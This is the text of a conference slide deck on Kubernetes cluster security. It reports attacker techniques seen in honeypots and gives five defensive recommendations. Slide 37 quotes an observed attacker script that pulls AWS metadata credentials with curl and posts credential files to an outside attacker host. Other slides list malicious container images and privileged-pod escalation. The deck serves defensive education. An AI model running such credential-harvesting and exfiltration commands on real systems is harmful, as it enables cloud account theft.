Keep Hackers Out of
Your Cluster
with These
5 Simple Tricks
Christophe Tafani-Dereeper
Fred Baguelin
Before
2
[SEC-4228] - Secure our Kubernetes cluster
Where do I even start?
Kate
Cloud-Native Software Engineer
After
3
jq /var/run/secrets/kubernetes.io/serviceaccount/token
4
Christophe Tafani-Dereeper 🇨🇭🇫🇷�cloud security & open source
Fred Baguelin 🇫🇷�threat research
Today's agenda
5
Today's assumptions
6
Threat modeling
(managed) Kubernetes clusters
7
Threat modeling 101
As a…
defender�
I want to…
understand what are the realistic attacks�
So that…
I can properly defend against them
8
Threat modeling 101
9
10
Worker node
Pod
K8s API
logical cluster boundary
Cloud provider
Management traffic
(control plane)
Container image registry
End user traffic
(data plane)
Compromise cluster
Poison image
Exploit vulnerability
pivot to K8s API
pivot to cloud
escape to host
Modeling attacker behavior in K8s environments
11
Challenges
12
Attacks against Kubernetes clusters in the wild
13
"In theory, there is no difference between theory and practice - in practice, there is."
(Yogi Berra)
Threat-informed defense
14
Threat intelligence
Security mechanisms
Attacker groups
Threat activity
New vulnerabilities
I know attackers are exploiting this, so I should probably protect against it
Limits of threat-informed defense
15
"Low volume of threat intelligence for cloud/containers"
16
Our contribution #1
17
Research papers
Security research blog posts
Vendor reports
Known Exploited Vulnerabilities
Our contribution #2: Honeypots
18
Fake Kubernetes API Server
HONK!
Honeypot network
19
Honeypot Workflow
20
Fake Kubernetes
API Server
Threat Intelligence Platform
Fake Kubernetes API Server – KwokPot
21
👀 Observations 🔭
22
Control plane v.s. data plane attacks
23
Worker node
Pod
K8s API
logical cluster boundary
Open control plane APIs are a common target
24
Control plane
Open control plane APIs are a common target
25
Maps of IP addresses exploiting our k8s honeypot
# of IP per country
Open control plane APIs are a common target
26
Kwokpot stats
27
kubectl auth can-i
28
TTP: Discovery
What can I do in this cluster?
kubectl list
29
TTP: Discovery
What's running in there?
kubectl get
30
TTP: Collection
kubectl get secrets
31
TTP: Credential access
Give me all your secrets
kubectl delete
32
TTP: Defense evasion
Cloud credentials is the new initial access
33
Control plane
Cloud credentials is the new initial access
34
Compromise cloud identity
K8s API
Cloud credentials is the new initial access
35
Attackers love cloud credentials
36
Data plane
Attackers love cloud credentials
37
AWS_CREDS_FILES=("credentials" ".s3cfg" ".passwd-s3fs" ".s3backer_passwd" ".s3b_config" "s3proxy.conf")
function get_aws_infos() {
AWS_INFO=$(timeout -s SIGKILL $TIME_1_OUT curl -sLk http://169.254.169.254/latest/meta-data/iam/info | tr '\0' '\n')
AWS_1_IAM_NAME=$(timeout -s SIGKILL $TIME_1_OUT curl -sLk http://169.254.169.254/latest/meta-data/iam/security-credentials/)
}
send_data() {
curl -F "credentials=@"$CSOF"" "http://leetdbs.anondns.net/php/insert_aws_sql.php" --silent --show-error
}
Attackers love cloud credentials
38
Container escape vulnerabilities exploited in the wild
39
…or lack thereof
40
Why so few container escapes in the wild?
41
Why so few container escapes in the wild?
42
Organizations using containers
Vulnerable organizations
"Container-aware" attackers
Organizations that would report on the attack
Attacker who needs to exploit a container escape
"Container escape X exploited in the wild"
Why so few container escapes in the wild?
43
Red teamers:
Wait for it…
44
Attackers create new workloads
45
Control plane
… to escalate privileges
46
Worker node
Pod
K8s API
logical cluster boundary
Create privileged pod
and mount / to /host
Pod
/:/host
47
TTP: Execution
… with their own images
48
nohuppo/pause:latest
systemaudit/docker_system
dilgrw/ku:lo
cxgdyr/ku:en
ahnoyp/ku:mi
quay.io/cniweb/xmrig:latest
metal3d/xmrig:latest
miningcontainers/xmrig:latest
robbertignacio328832/oracleiv_latest
pmietlicki/xmrig
traffmonetizer/cli_v2
kirito666/blackt:latest
…
Attackers exploit vulnerable software
49
Data plane
Attackers exploit public-facing vulnerable software…
50
… and enroll compromised hosts to scan the Internet
51
Confluence default port
Scanned IP ranges
47.0.0.0/8
39.0.0.0/8
…
113.0.0.0/8
Executed payload: id
Exploitation of CVE-2022-26134 – Confluence unauthenticated RCE
Summary mapped to the Microsoft K8s Threat Matrix
52
Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement |
| |||||||
| | | | ||||
| | | | | | |
Most efficient security mechanisms
53
Control plane or data plane security?
54
Need to secure both
55
Get the control plane basics right
56
1
Get the control plane basics right
�
57
1
The best Kubernetes is no Kubernetes (if you don't need it)
58
EKS on Fargate
GKE Autopilot
Block the cloud metadata service from workloads
59
2
Block the cloud metadata service from workloads
60
2
Cloud Environment
EKS Cluster
Node
NodeInstanceRole
Pod A
Attacker
Block the cloud metadata service from workloads
61
2
Block the cloud metadata service from workloads
62
2
Understand cloud privileges of your workloads
63
3
Understand cloud privileges of your workloads
64
3
Pod
MyPodRole
EKS Pod Identity
IAM Roles for Service Accounts
Understand cloud privileges of your workloads
65
$ mkat eks find-role-relationships
_ __ ___ | | __ __ _ | |_
| '_ ` _ \ | |/ / / _` | | __|
| | | | | | | < | (_| | | |_
|_| |_| |_| |_|\_\ \__,_| \__|
Connected to EKS cluster mkat-cluster
Retrieving cluster information
Listing K8s service accounts in all namespaces
Listing roles in the AWS account
3
Understand cloud privileges of your workloads
66
3
Be intentional about what can run in your cluster
67
4
Be intentional about what can run in your cluster
68
4
Worker node
K8s API
logical cluster boundary
admission controller
(alert or block)
External images from Docker Hub, privileged pods, pods mounting the host filesystem…
Be intentional about what can run in your cluster
69
A Tale of Securing Containerized Workloads at Scale [with OPA Gatekeeper] (BSides Zurich 2022)
4
Application security matters!
70
5
Application security matters!
71
5
Onto the next level
72
Make your workloads resistant to common exploits
73
apiVersion: v1
kind: Pod
metadata:
name: security-context-demo
spec:
containers:
- name: your-app
allowPrivilegeEscalation: false
image: gcr.io/distroless/python3
securityContext:
readOnlyRootFilesystem: true
runAsNonRoot: true
These are hardening settings (no more, no less)
Consider SELinux / AppArmor / seccomp
74
Container security fundamentals part 5: AppArmor and SELinux
https://www.inspektor-gadget.io/docs/latest/builtin-gadgets/advise/seccomp-profile/
apiVersion: security-profiles-operator.x-k8s.io/v1alpha1
kind: AppArmorProfile
metadata:
name: test-profile
annotations:
description: Block writing to any files in the disk.
spec:
policy: |
#include <tunables/global>
profile test-profile flags=(attach_disconnected) {
#include <abstractions/base>
file,
# Deny all file writes.
deny /** w,
}
Implement runtime threat detection/blocking
"Why is my Spring application creating a process that tries to install curl and talks to a Tor IP"?
75
Pod
Pod
Pod
Worker node
Proactively identify attack paths in your cluster
76
… and more
77
Conclusion
78
Key takeaways
79
Thank you!
Slides and feedback
sched.co/1YeRs
(scroll down)
@christophetd
@udgover